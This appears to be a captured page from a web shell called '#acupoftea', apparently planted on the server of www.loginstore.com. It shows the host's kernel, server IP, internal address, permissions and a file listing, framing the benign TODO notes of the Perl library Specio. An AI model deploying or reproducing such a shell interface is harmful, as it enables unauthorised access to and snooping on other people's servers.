#acupoftea - www.loginstore.com

System	:	Linux loginstore 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64
Software	:	Apache/2.4.52 (Ubuntu)
Server	:	190.119.170.206
Domains	:	Cant read /etc/named.conf
Permission	:	[ drwxr-xr-x ]
	:	/ usr / share / doc / libspecio-perl /

10.10.0.71

Home

File TODO.md

## Use Sub::Quote

One attempt at this exists in the sub-quotify branch.

This has several parts.

First, type constraints should accept a single `constraint` parameter, rather
than both a constraint and an `inline_generator`. If the `constraint` is a
Sub::Quote sub, we can use that for inlining. This greatly simplified the API.

The same should be done for the `coercion` & `inline_generator` parameters for
coercions.

Finally, the message_generator should be allow for a Sub::Quote sub and use
that for inlining if possible.

I'm not sure what the best API for the Sub::Quote subs is. Unlike with the
existing generators, Sub::Quote expects that parameters are always passed via
`@_`. This probably means that the sub you write should always look at
`$_[0]`, which is a little gross when inlining, as it means we have to jam
things into `@_` with something like:

local @_ = ($value);

Note that this also means B<not> passing in the type constraint/coercion as
the first argument. In other words, these subs are no longer methods. This is
probably better for inlining anyway. Anything you wanted from the object
should be something you can inline anyway (I hope).

Note that parameterizable types I<still> need to provide a
parameterized_inline_generator sub (not a Sub::Quote). This sub shoudl
I<return> a quoted sub based on the type parameter. Sub::Quote makes this
harder than it should be because it doesn't have a very nice API. Oh well.

## Better integration with Moose

Make Moose support inlining coercions and message generation with Specio objects.

Also, define a real API for type objects and have Moose just use duck typing
internally. However, this should I<not> be the existing Moose TC API, since
it's quite broken. In particular, the relationship between constraint &
coercion objects is backwards. A constraint should have many coercions, not
vice versa. Specio gets this right.

## Support MooseX::Types barewords and string types with SpecioX modules

For barewords:

use SpecioX::Declare::Barewords => qw( Specio::Library::Builtins My::Library );

use Moose;

has foo => ( isa => Str );

For string types:

use SpecioX::StringTypes => qw( Specio::Library::Builtins My::Library );

use Moose;

has foo => ( isa => 'Str' );

Or something like that.

Internally these can both provide an attr trait and class trait that together
look up a registry for the class by name, something like:

use Specio::Registry qw( registry_for_package );

my $registry = registry_for_package($package);

To parse things like `"ArrayRef[Str]"` we need to separate the type string
parsing into its module that can return a data structure like:

%parsed = (
        name      => 'ArrayRef',
        parameter => 'Str',
    );

Then we can look these up with:

my $type = t( $parsed{name}, of => t( $parsed{parameter} ) );

Name	Type	Size	Permission	Last Modified	Actions
.	DIR	-	drwxr-xr-x	2024-03-13 11:27:45
..	DIR	-	drwxr-xr-x	2026-08-06 11:37:53
CODE_OF_CONDUCT.md	text/plain	3.17 KB	-rw-r--r--	2021-01-29 07:05:21
CONTRIBUTING.md.gz	application/gzip	1.8 KB	-rw-r--r--	2021-01-29 07:05:21
TODO.md	text/plain	2.8 KB	-rw-r--r--	2021-01-29 07:05:21
changelog.Debian.gz	application/gzip	1.25 KB	-rw-r--r--	2021-01-31 08:02:58
copyright	text/plain	10.24 KB	-rw-r--r--	2021-01-31 08:02:58

~ ACUPOFTEA - www.loginstore.com